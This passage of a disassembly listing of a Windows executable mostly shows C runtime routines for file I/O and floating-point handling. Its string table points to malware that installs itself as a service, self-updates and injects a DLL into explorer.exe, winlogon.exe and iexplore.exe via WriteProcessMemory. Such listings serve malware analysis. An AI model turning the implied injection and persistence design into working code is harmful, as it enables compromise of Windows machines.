mov edx, dword_413988[edx*4]
mov cl, [ebp+var_11]
mov [edx+eax+5], cl
jmp short loc_40CB9C
; ---------------------------------------------------------------------------
loc_40CB61: ; CODE XREF: sub_40C890+292j
mov eax, [ebp+arg_4]
cmp eax, [ebp+var_8]
jnz short loc_40CB7D
cmp [ebp+var_11], 0Ah
jnz short loc_40CB7D
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Ah
jmp short loc_40CB9C
; ---------------------------------------------------------------------------
loc_40CB7D: ; CODE XREF: sub_40C890+2D7j
; sub_40C890+2DDj
push 1
push 0FFFFFFFFh
push ebx
call sub_40BDF0
add esp, 0Ch
cmp [ebp+var_11], 0Ah
jz short loc_40CB9C
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Dh
loc_40CB9C: ; CODE XREF: sub_40C890+180j
; sub_40C890+1DEj ...
mov eax, [ebp+arg_4]
add eax, edi
cmp esi, eax
jb loc_40CA15
loc_40CBA9: ; CODE XREF: sub_40C890+1A3j
; sub_40C890+1C4j
mov eax, [ebp+var_8]
mov edx, [ebp+arg_4]
sub eax, edx
mov edi, eax
loc_40CBB3: ; CODE XREF: sub_40C890+12Cj
mov eax, edi
loc_40CBB5: ; CODE XREF: sub_40C890+37j
; sub_40C890+EAj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40C890 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, [ebp+8]
cmp ebx, dword_413A88
jnb short loc_40CBEB
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_40CBFB
loc_40CBEB: ; CODE XREF: DMN0:0040CBCEj
call sub_4083A0
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_40CC1E
; ---------------------------------------------------------------------------
loc_40CBFB: ; CODE XREF: DMN0:0040CBE9j
push ebx
call sub_40AC80
pop ecx
mov eax, [ebp+10h]
push eax
mov eax, [ebp+0Ch]
push eax
push ebx
call sub_40C890
add esp, 0Ch
mov esi, eax
push ebx
call sub_40ACE0
pop ecx
mov eax, esi
loc_40CC1E: ; CODE XREF: DMN0:0040CBF9j
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+0Ch]
push eax
mov eax, [ebp+8]
push eax
call sub_40CDA0
add esp, 8
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CC50 proc near ; CODE XREF: sub_40B8E0+35Fp
; sub_40CDA0+46p
var_1014 = dword ptr -1014h
var_1010 = byte ptr -1010h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1014h
call sub_407730
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov [ebp+var_4], 0
push 1
push 0
push ebx
call sub_40BDF0
add esp, 0Ch
mov [ebp+var_C], eax
cmp eax, 0FFFFFFFFh
jz short loc_40CC94
push 2
push 0
push ebx
call sub_40BDF0
add esp, 0Ch
mov [ebp+var_8], eax
cmp eax, 0FFFFFFFFh
jnz short loc_40CC9C
loc_40CC94: ; CODE XREF: sub_40CC50+2Dj
or eax, 0FFFFFFFFh
jmp loc_40CD90
; ---------------------------------------------------------------------------
loc_40CC9C: ; CODE XREF: sub_40CC50+42j
mov eax, [ebp+arg_4]
mov esi, eax
sub esi, [ebp+var_8]
test esi, esi
jle loc_40CD41
lea edx, [ebp+var_1010]
mov ecx, 1000h
xor eax, eax
push edi
mov edi, edx
rep stosb
pop edi
mov eax, edx
push 8000h
push ebx
call sub_40D1E0
add esp, 8
mov [ebp+var_10], eax
loc_40CCD2: ; CODE XREF: sub_40CC50+E0j
cmp esi, 1000h
jb short loc_40CCE6
mov [ebp+var_1014], 1000h
jmp short loc_40CCEE
; ---------------------------------------------------------------------------
loc_40CCE6: ; CODE XREF: sub_40CC50+88j
mov eax, esi
mov [ebp+var_1014], eax
loc_40CCEE: ; CODE XREF: sub_40CC50+94j
mov eax, [ebp+var_1014]
push eax
lea eax, [ebp+var_1010]
push eax
push ebx
call sub_40A670
add esp, 0Ch
mov edi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_40CD28
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 5
jnz short loc_40CD22
call sub_4083A0
mov dword ptr [eax], 0Dh
loc_40CD22: ; CODE XREF: sub_40CC50+C5j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_40CD32
; ---------------------------------------------------------------------------
loc_40CD28: ; CODE XREF: sub_40CC50+BAj
mov eax, esi
sub eax, edi
mov esi, eax
test eax, eax
jg short loc_40CCD2
loc_40CD32: ; CODE XREF: sub_40CC50+D6j
mov eax, [ebp+var_10]
push eax
push ebx
call sub_40D1E0
add esp, 8
jmp short loc_40CD7E
; ---------------------------------------------------------------------------
loc_40CD41: ; CODE XREF: sub_40CC50+56j
test esi, esi
jge short loc_40CD7E
push 0
mov eax, [ebp+arg_4]
push eax
push ebx
call sub_40BDF0
add esp, 0Ch
push ebx
call sub_40AB60
pop ecx
push eax
call dword_411E1C ; SetEndOfFile
test eax, eax
setnz al
and eax, 1
dec eax
mov [ebp+var_4], eax
cmp eax, 0FFFFFFFFh
jnz short loc_40CD7E
call sub_4083A0
mov dword ptr [eax], 0Dh
loc_40CD7E: ; CODE XREF: sub_40CC50+EFj
; sub_40CC50+F3j ...
push 0
mov eax, [ebp+var_C]
push eax
push ebx
call sub_40BDF0
add esp, 0Ch
mov eax, [ebp+var_4]
loc_40CD90: ; CODE XREF: sub_40CC50+47j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40CC50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40CDA0 proc near ; CODE XREF: DMN0:0040CC3Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov ebx, [esp+8+arg_0]
cmp ebx, dword_413A88
jnb short loc_40CDC9
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_40CDD9
loc_40CDC9: ; CODE XREF: sub_40CDA0+Cj
call sub_4083A0
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_40CDF9
; ---------------------------------------------------------------------------
loc_40CDD9: ; CODE XREF: sub_40CDA0+27j
push ebx
call sub_40AC80
pop ecx
mov eax, [esp+8+arg_4]
push eax
push ebx
call sub_40CC50
add esp, 8
mov esi, eax
push ebx
call sub_40ACE0
pop ecx
mov eax, esi
loc_40CDF9: ; CODE XREF: sub_40CDA0+37j
pop esi
pop ebx
retn
sub_40CDA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CE00 proc near ; CODE XREF: sub_40BCC0+EFp
; sub_40BCC0+100p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
jmp loc_40CEBD
; ---------------------------------------------------------------------------
loc_40CE14: ; CODE XREF: sub_40CE00+C0j
mov eax, [esi+18h]
cmp eax, [esi+10h]
ja short loc_40CE2F
push esi
call sub_408EA0
pop ecx
test eax, eax
jge short loc_40CE2F
or eax, 0FFFFFFFFh
jmp loc_40CEDF
; ---------------------------------------------------------------------------
loc_40CE2F: ; CODE XREF: sub_40CE00+1Aj
; sub_40CE00+25j
test word ptr [esi], 400h
jz short loc_40CE46
push 0Ah
push ebx
call sub_40D2F0
add esp, 8
mov [ebp+var_C], eax
jmp short loc_40CE4D
; ---------------------------------------------------------------------------
loc_40CE46: ; CODE XREF: sub_40CE00+34j
mov [ebp+var_C], 0
loc_40CE4D: ; CODE XREF: sub_40CE00+44j
mov eax, [ebp+var_C]
mov [ebp+var_4], eax
test eax, eax
jz short loc_40CE62
mov eax, [ebp+var_4]
sub eax, ebx
inc eax
mov [ebp+var_10], eax
jmp short loc_40CE71
; ---------------------------------------------------------------------------
loc_40CE62: ; CODE XREF: sub_40CE00+55j
mov edx, ebx
or eax, 0FFFFFFFFh
loc_40CE67: ; CODE XREF: sub_40CE00+6Cj
inc eax
cmp byte ptr [edx+eax], 0
jnz short loc_40CE67
mov [ebp+var_10], eax
loc_40CE71: ; CODE XREF: sub_40CE00+60j
mov edi, [ebp+var_10]
mov eax, [esi+18h]
mov edx, [esi+10h]
sub eax, edx
mov [ebp+var_8], eax
cmp [ebp+var_8], edi
jnb short loc_40CE8E
mov [ebp+var_4], 0
mov edi, [ebp+var_8]
loc_40CE8E: ; CODE XREF: sub_40CE00+82j
push edi
push ebx
mov eax, [esi+10h]
push eax
call sub_407630
add esp, 0Ch
add ebx, edi
lea eax, [esi+10h]
mov edx, [eax]
add edx, edi
mov [eax], edx
cmp [ebp+var_4], 0
jz short loc_40CEBD
push esi
call sub_408CA0
pop ecx
test eax, eax
jz short loc_40CEBD
or eax, 0FFFFFFFFh
jmp short loc_40CEDF
; ---------------------------------------------------------------------------
loc_40CEBD: ; CODE XREF: sub_40CE00+Fj
; sub_40CE00+ABj ...
cmp byte ptr [ebx], 0
jnz loc_40CE14
test word ptr [esi], 800h
jz short loc_40CEDD
push esi
call sub_408CA0
pop ecx
test eax, eax
jz short loc_40CEDD
or eax, 0FFFFFFFFh
jmp short loc_40CEDF
; ---------------------------------------------------------------------------
loc_40CEDD: ; CODE XREF: sub_40CE00+CBj
; sub_40CE00+D6j
xor eax, eax
loc_40CEDF: ; CODE XREF: sub_40CE00+2Aj
; sub_40CE00+BBj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40CE00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40CEF0 proc near ; CODE XREF: sub_40C310+Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_4]
movzx eax, word ptr [ebx+6]
and eax, 7FF0h
sar eax, 4
mov si, ax
cmp si, 7FFh
jnz short loc_40CF46
mov edx, [esp+0Ch+arg_0]
mov word ptr [edx], 0
test word ptr [ebx+6], 0Fh
jnz short loc_40CF32
cmp word ptr [ebx+4], 0
jnz short loc_40CF32
cmp word ptr [ebx+2], 0
jnz short loc_40CF32
cmp word ptr [ebx], 0
jz short loc_40CF39
loc_40CF32: ; CODE XREF: sub_40CEF0+2Cj
; sub_40CEF0+33j ...
mov edi, 2
jmp short loc_40CF3E
; ---------------------------------------------------------------------------
loc_40CF39: ; CODE XREF: sub_40CEF0+40j
mov edi, 1
loc_40CF3E: ; CODE XREF: sub_40CEF0+47j
mov ax, di
movsx eax, ax
jmp short loc_40CF8A
; ---------------------------------------------------------------------------
loc_40CF46: ; CODE XREF: sub_40CEF0+1Bj
test si, si
jg short loc_40CF5A
push ebx
call sub_40D310
pop ecx
mov si, ax
test ax, ax
jg short loc_40CF7F
loc_40CF5A: ; CODE XREF: sub_40CEF0+59j
movzx eax, word ptr [ebx+6]
and eax, 0FFFF800Fh
or eax, 3FE0h
mov [ebx+6], ax
mov edx, [esp+0Ch+arg_0]
mov ax, si
sub ax, 3FEh
mov [edx], ax
or eax, 0FFFFFFFFh
jmp short loc_40CF8A
; ---------------------------------------------------------------------------
loc_40CF7F: ; CODE XREF: sub_40CEF0+68j
mov edx, [esp+0Ch+arg_0]
mov word ptr [edx], 0
xor eax, eax
loc_40CF8A: ; CODE XREF: sub_40CEF0+54j
; sub_40CEF0+8Dj
pop edi
pop esi
pop ebx
retn
sub_40CEF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CF90 proc near ; CODE XREF: sub_40C330+Bp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
movzx eax, word ptr [ebx+6]
and eax, 7FF0h
sar eax, 4
mov si, ax
cmp si, 7FFh
jnz short loc_40CFE5
test word ptr [ebx+6], 0Fh
jnz short loc_40CFCE
cmp word ptr [ebx+4], 0
jnz short loc_40CFCE
cmp word ptr [ebx+2], 0
jnz short loc_40CFCE
cmp word ptr [ebx], 0
jz short loc_40CFD5
loc_40CFCE: ; CODE XREF: sub_40CF90+28j
; sub_40CF90+2Fj ...
mov edi, 2
jmp short loc_40CFDA
; ---------------------------------------------------------------------------
loc_40CFD5: ; CODE XREF: sub_40CF90+3Cj
mov edi, 1
loc_40CFDA: ; CODE XREF: sub_40CF90+43j
mov ax, di
movsx eax, ax
jmp loc_40D19A
; ---------------------------------------------------------------------------
loc_40CFE5: ; CODE XREF: sub_40CF90+20j
test si, si
jnz short loc_40D000
push ebx
call sub_40D310
pop ecx
mov si, ax
test ax, ax
jle short loc_40D000
xor eax, eax
jmp loc_40D19A
; ---------------------------------------------------------------------------
loc_40D000: ; CODE XREF: sub_40CF90+58j
; sub_40CF90+67j
movsx eax, si
mov edx, [ebp+arg_4]
add eax, edx
mov [ebp+arg_4], eax
cmp eax, 7FFh
jl short loc_40D042
test word ptr [ebx+6], 8000h
jz short loc_40D027
fld dbl_4119DC
fchs
fstp [ebp+var_8]
jmp short loc_40D030
; ---------------------------------------------------------------------------
loc_40D027: ; CODE XREF: sub_40CF90+88j
fld dbl_4119DC
fstp [ebp+var_8]
loc_40D030: ; CODE XREF: sub_40CF90+95j
mov eax, [ebp+arg_0]
fld [ebp+var_8]
fstp qword ptr [eax]
mov eax, 1
jmp loc_40D19A
; ---------------------------------------------------------------------------
loc_40D042: ; CODE XREF: sub_40CF90+80j
cmp [ebp+arg_4], 0
jle short loc_40D068
movzx eax, word ptr [ebx+6]
and eax, 0FFFF800Fh
mov edx, [ebp+arg_4]
movsx edx, dx
shl edx, 4
or eax, edx
mov [ebx+6], ax
or eax, 0FFFFFFFFh
jmp loc_40D19A
; ---------------------------------------------------------------------------
loc_40D068: ; CODE XREF: sub_40CF90+B6j
mov ax, [ebx+6]
and ax, 8000h
mov word ptr [ebp+var_8+6], ax
movzx eax, word ptr [ebx+6]
and eax, 0Fh
or eax, 10h
mov [ebx+6], ax
mov eax, [ebp+arg_4]
dec eax
mov [ebp+arg_4], eax
cmp eax, 0FFFFFFCCh
jge short loc_40D0AE
mov ax, word ptr [ebp+var_8+6]
mov [ebx+6], ax
mov word ptr [ebx+4], 0
mov word ptr [ebx+2], 0
mov word ptr [ebx], 0
xor eax, eax
jmp loc_40D19A
; ---------------------------------------------------------------------------
loc_40D0AE: ; CODE XREF: sub_40CF90+FCj
mov eax, [ebp+arg_4]
mov word ptr [ebp+var_8+4], ax
jmp short loc_40D0D9
; ---------------------------------------------------------------------------
loc_40D0B7: ; CODE XREF: sub_40CF90+14Ej
mov ax, [ebx+2]
mov [ebx], ax
mov ax, [ebx+4]
mov [ebx+2], ax
mov ax, [ebx+6]
mov [ebx+4], ax
mov word ptr [ebx+6], 0
add word ptr [ebp+var_8+4], 10h
loc_40D0D9: ; CODE XREF: sub_40CF90+125j
cmp word ptr [ebp+var_8+4], 0FFF0h
jle short loc_40D0B7
movsx eax, word ptr [ebp+var_8+4]
neg eax
mov word ptr [ebp+var_8+4], ax
test ax, ax
jz loc_40D18F
movsx eax, word ptr [ebp+var_8+4]
movzx edx, word ptr [ebx]
mov ecx, eax
sar edx, cl
mov dword ptr [ebp+var_8], edx
movzx ecx, word ptr [ebx+2]
mov [ebp+var_C], ecx
mov edx, 10h
mov ecx, edx
sub ecx, eax
mov eax, [ebp+var_C]
shl eax, cl
mov edx, dword ptr [ebp+var_8]
or edx, eax
mov ax, dx
mov [ebx], ax
movsx eax, word ptr [ebp+var_8+4]
movzx edx, word ptr [ebx+2]
mov ecx, eax
sar edx, cl
mov [ebp+var_10], edx
movzx ecx, word ptr [ebx+4]
mov [ebp+var_14], ecx
mov edx, 10h
mov ecx, edx
sub ecx, eax
mov eax, [ebp+var_14]
shl eax, cl
mov edx, [ebp+var_10]
or edx, eax
mov ax, dx
mov [ebx+2], ax
movsx eax, word ptr [ebp+var_8+4]
movzx edx, word ptr [ebx+4]
mov ecx, eax
sar edx, cl
mov [ebp+var_18], edx
movzx ecx, word ptr [ebx+6]
mov [ebp+var_1C], ecx
mov edx, 10h
mov ecx, edx
sub ecx, eax
mov eax, [ebp+var_1C]
shl eax, cl
mov edx, [ebp+var_18]
or edx, eax
mov ax, dx
mov [ebx+4], ax
movzx eax, word ptr [ebx+6]
movsx ecx, word ptr [ebp+var_8+4]
sar eax, cl
mov [ebx+6], ax
loc_40D18F: ; CODE XREF: sub_40CF90+15Dj
mov ax, word ptr [ebp+var_8+6]
or [ebx+6], ax
or eax, 0FFFFFFFFh
loc_40D19A: ; CODE XREF: sub_40CF90+50j
; sub_40CF90+6Bj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40CF90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D1B0 proc near ; CODE XREF: sub_40C3B0+409p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, ebx
mov ecx, esi
cdq
idiv ecx
mov [ebp+var_8], eax
mov edx, esi
imul edx, eax
mov eax, ebx
sub eax, edx
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
mov edx, [ebp+var_4]
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40D1B0 endp
; =============== S U B R O U T I N E =======================================
sub_40D1E0 proc near ; CODE XREF: sub_40CC50+77p
; sub_40CC50+E7p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov ebx, [esp+8+arg_0]
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
movzx eax, byte ptr [edx+eax+4]
mov esi, eax
and esi, 80h
cmp [esp+8+arg_4], 8000h
jnz short loc_40D236
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
movzx edx, byte ptr [eax]
and edx, 0FFFFFF7Fh
mov [eax], dl
jmp short loc_40D26D
; ---------------------------------------------------------------------------
loc_40D236: ; CODE XREF: sub_40D1E0+2Fj
cmp [esp+8+arg_4], 4000h
jnz short loc_40D25D
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
or byte ptr [eax], 80h
jmp short loc_40D26D
; ---------------------------------------------------------------------------
loc_40D25D: ; CODE XREF: sub_40D1E0+5Ej
call sub_4083A0
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp short loc_40D280
; ---------------------------------------------------------------------------
loc_40D26D: ; CODE XREF: sub_40D1E0+54j
; sub_40D1E0+7Bj
test esi, esi
setnz al
and eax, 1
dec eax
and eax, 4000h
add eax, 4000h
loc_40D280: ; CODE XREF: sub_40D1E0+8Bj
pop esi
pop ebx
retn
sub_40D1E0 endp
; ---------------------------------------------------------------------------
align 10h
push ebx
push esi
mov ebx, [esp+0Ch]
cmp ebx, dword_413A88
jnb short loc_40D2B9
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_40D2C9
loc_40D2B9: ; CODE XREF: DMN0:0040D29Cj
call sub_4083A0
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_40D2E9
; ---------------------------------------------------------------------------
loc_40D2C9: ; CODE XREF: DMN0:0040D2B7j
push ebx
call sub_40AC80
pop ecx
mov eax, [esp+10h]
push eax
push ebx
call sub_40D1E0
add esp, 8
mov esi, eax
push ebx
call sub_40ACE0
pop ecx
mov eax, esi
loc_40D2E9: ; CODE XREF: DMN0:0040D2C7j
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40D2F0 proc near ; CODE XREF: sub_40CE00+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ecx, [esp+4+arg_0]
mov eax, [esp+4+arg_4]
mov bl, al
xor edx, edx
loc_40D2FD: ; CODE XREF: sub_40D2F0+19j
cmp [ecx], bl
jnz short loc_40D303
mov edx, ecx
loc_40D303: ; CODE XREF: sub_40D2F0+Fj
cmp byte ptr [ecx], 0
jz short loc_40D30B
inc ecx
jmp short loc_40D2FD
; ---------------------------------------------------------------------------
loc_40D30B: ; CODE XREF: sub_40D2F0+16j
mov eax, edx
pop ebx
retn
sub_40D2F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40D310 proc near ; CODE XREF: sub_40CEF0+5Cp
; sub_40CF90+5Bp
arg_0 = dword ptr 4
push ebx
push edi
mov ecx, [esp+8+arg_0]
mov ax, [ecx+6]
mov di, ax
and di, 8000h
mov bx, 1
mov ax, [ecx+6]
and ax, 0Fh
mov [ecx+6], ax
test ax, ax
jnz short loc_40D34F
cmp word ptr [ecx+4], 0
jnz short loc_40D34F
cmp word ptr [ecx+2], 0
jnz short loc_40D34F
cmp word ptr [ecx], 0
jz loc_40D409
loc_40D34F: ; CODE XREF: sub_40D310+25j
; sub_40D310+2Cj ...
jmp short loc_40D371
; ---------------------------------------------------------------------------
loc_40D351: ; CODE XREF: sub_40D310+66j
mov ax, [ecx+4]
mov [ecx+6], ax
mov ax, [ecx+2]
mov [ecx+4], ax
mov ax, [ecx]
mov [ecx+2], ax
mov word ptr [ecx], 0
sub bx, 10h
loc_40D371: ; CODE XREF: sub_40D310:loc_40D34Fj
cmp word ptr [ecx+6], 0
jz short loc_40D351
jmp short loc_40D3B7
; ---------------------------------------------------------------------------
loc_40D37A: ; CODE XREF: sub_40D310+ACj
movzx eax, word ptr [ecx+6]
add eax, eax
movzx edx, word ptr [ecx+4]
sar edx, 0Fh
or eax, edx
mov [ecx+6], ax
movzx eax, word ptr [ecx+4]
add eax, eax
movzx edx, word ptr [ecx+2]
sar edx, 0Fh
or eax, edx
mov [ecx+4], ax
movzx eax, word ptr [ecx+2]
add eax, eax
movzx edx, word ptr [ecx]
sar edx, 0Fh
or eax, edx
mov [ecx+2], ax
shl word ptr [ecx], 1
dec bx
loc_40D3B7: ; CODE XREF: sub_40D310+68j
cmp word ptr [ecx+6], 10h
jb short loc_40D37A
jmp short loc_40D3FD
; ---------------------------------------------------------------------------
loc_40D3C0: ; CODE XREF: sub_40D310+F2j
movzx eax, word ptr [ecx]
sar eax, 1
movzx edx, word ptr [ecx+2]
shl edx, 0Fh
or eax, edx
mov [ecx], ax
movzx eax, word ptr [ecx+2]
sar eax, 1
movzx edx, word ptr [ecx+4]
shl edx, 0Fh
or eax, edx
mov [ecx+2], ax
movzx eax, word ptr [ecx+4]
sar eax, 1
movzx edx, word ptr [ecx+6]
shl edx, 0Fh
or eax, edx
mov [ecx+4], ax
shr word ptr [ecx+6], 1
inc bx
loc_40D3FD: ; CODE XREF: sub_40D310+AEj
cmp word ptr [ecx+6], 20h
jnb short loc_40D3C0
and word ptr [ecx+6], 0Fh
loc_40D409: ; CODE XREF: sub_40D310+39j
or [ecx+6], di
movsx eax, bx
pop edi
pop ebx
retn
sub_40D310 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40D420 proc near ; CODE XREF: sub_408490+13p
jmp dword_411DAC
sub_40D420 endp
; ---------------------------------------------------------------------------
align 4
dd 2F6h dup(0)
dword_40E000 dd 656E6F64h ; DATA XREF: sub_4066F1+584o
; sub_447672+584o
db 2Eh, 0Ah, 0
aNotDaemonized_ db 'not daemonized...',0Ah,0 ; DATA XREF: sub_4066F1:loc_406C33o
; sub_447672:loc_447BB4o
aInitializingSe db 'initializing service startup sequence...',0Ah,0
; DATA XREF: sub_4066F1+527o
; sub_447672+527o
aServiceInstall db 'service installed ok...',0Ah,0 ; DATA XREF: sub_4066F1+476o
; sub_447672+476o
aInstallingSe_0 db 'installing service...',0Ah,0 ; DATA XREF: sub_4066F1+462o
; sub_447672+462o
aRegisteredSe_1 db 'registered service is not running, unrest.',0Ah,0
; DATA XREF: sub_4066F1:loc_406B29o
; sub_447672:loc_447AAAo
aStartingServic db 'starting service...',0Ah,0 ; DATA XREF: sub_4066F1+41Do
; sub_4066F1:loc_406BACo ...
aI db '%i',0Ah,0 ; DATA XREF: sub_4066F1+3FEo
; sub_447672+3FEo
aInstallingServ db 'installing service, res=',0 ; DATA XREF: sub_4066F1+3E8o
; sub_447672+3E8o
aRegisteredSe_0 db 'registered service is not running.',0Ah,0
; DATA XREF: sub_4066F1:loc_406AC5o
; sub_447672:loc_447A46o
aRegisteredServ db 'registered service is here...',0Ah,0 ; DATA XREF: sub_4066F1:loc_406AAAo
; sub_447672:loc_447A2Bo
aDonTRegisterIt db 'DON',27h,'T register it',0Ah,0 ; DATA XREF: sub_4066F1:loc_406A93o
; sub_447672:loc_447A14o
aRegisterItAndR db 'register it and restart',0Ah,0 ; DATA XREF: sub_4066F1+392o
; sub_447672+392o
aNoRegisteredSe db 'no registered service, ',0 ; DATA XREF: sub_4066F1+36Bo
; sub_447672+36Bo
aWaitingComplet db '*** waiting complete...',0Ah,0 ; DATA XREF: sub_4066F1:loc_406A46o
; sub_447672:loc_4479C7o
aWaiting___ db '*** waiting...',0Ah,0 ; DATA XREF: sub_4066F1+32Co
; sub_447672+32Co
aRemovingS db 'removing: <%s>',0Ah,0 ; DATA XREF: sub_4066F1+2A0o
; sub_447672+2A0o
aInitializingWi db 'initializing winsock library...',0Ah,0 ; DATA XREF: sub_4066F1+24Bo
; sub_447672+24Bo
aCopyingFailed db 'copying failed %%-(',0Ah,0 ; DATA XREF: sub_4066F1:loc_406914o
; sub_447672:loc_447895o
aCreateprocessF db 'CreateProcess() failed %%-(',0Ah,0 ; DATA XREF: sub_4066F1:loc_4068F9o
; sub_447672:loc_44787Ao
aCmdlineS db 'cmdline: <%s>',0Ah,0 ; DATA XREF: sub_4066F1+1DFo
; sub_447672+1DFo
aCopying___ db 'copying...',0Ah,0 ; DATA XREF: sub_4066F1+167o
; sub_447672+167o
aNewSOldSSelfS db 'new=<%s>, old=<%s>, self=<%s>',0Dh,0Ah,0 ; DATA XREF: sub_4066F1+E0o
; sub_447672+E0o
aWaiting10SecsS db 'waiting 10 secs -- shutdown...',0Dh,0Ah,0 ; DATA XREF: sub_4066F1+9Ao
; sub_447672+9Ao
aShutdownmutexc db 'ShutdownMutexCreate()=%i, h=%i',0Dh,0Ah,0 ; DATA XREF: sub_4066F1+8Do
; sub_447672+8Do
aUpdate_0 db '*update',0 ; DATA XREF: sub_4066F1+5Eo
; sub_447672+5Eo
aInjectionthrea db 'InjectionThread complete',0Ah,0 ; DATA XREF: sub_406485:loc_406645o
; DMN1:loc_4475C6o
aDllStopped___ db 'DLL stopped...',0Ah,0 ; DATA XREF: sub_406485:loc_40660Do
; DMN1:loc_44758Eo
aDying db 'dying',0Ah,0 ; DATA XREF: sub_406485+173o
; DMN1:00447579o
aWaitingForDllD db 'waiting for <DLL dies> event...',0Ah,0 ; DATA XREF: sub_406485+129o
; DMN1:0044752Fo
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_406485:loc_406544o
; DMN1:loc_4474C5o
aWinlogon_exe db 'winlogon.exe',0 ; DATA XREF: sub_406485:loc_40653Bo
; DMN1:loc_4474BCo
aIexplore_exe db 'iexplore.exe',0 ; DATA XREF: sub_406485:loc_406532o
; DMN1:loc_4474B3o
aOldDllFoundWai db 'old DLL found; waiting for <DLL dies> event...',0Ah,0
; DATA XREF: sub_406485+59o
; DMN1:0044745Fo
aTryingSWithSFa db 'trying <%s> with <%s> failed',0Ah,0 ; DATA XREF: sub_4062AE+A1o
; sub_44722F+A1o
aTryingSWithS db 'trying <%s> with <%s>',0Ah,0 ; DATA XREF: sub_4062AE+5Bo
; sub_44722F+5Bo
aDllInjected db 'DLL injected!',0Ah,0 ; DATA XREF: sub_4061E6+8Co
; sub_447167+8Co
aThreadComplete db 'thread complete (%i).',0Ah,0 ; DATA XREF: sub_4061E6+65o
; sub_447167+65o
aThreadInjected db 'thread injected (%i).',0Ah,0 ; DATA XREF: sub_4061E6+42o
; sub_447167+42o
aProcessOpened_ db 'process opened.',0Ah,0 ; DATA XREF: sub_4061E6+1Do
; sub_447167+1Do
aS db '<%s>',0Ah,0 ; DATA XREF: sub_4060BC+FEo
; sub_4062AE+81o ...
aWriteprocessme db 'WriteProcessMemory() ok',0Ah,0 ; DATA XREF: sub_4060BC+F0o
; sub_44703D+F0o
aGetlasterror db 'GetLastError',0 ; DATA XREF: sub_4060BC+ADo
; sub_44703D+ADo
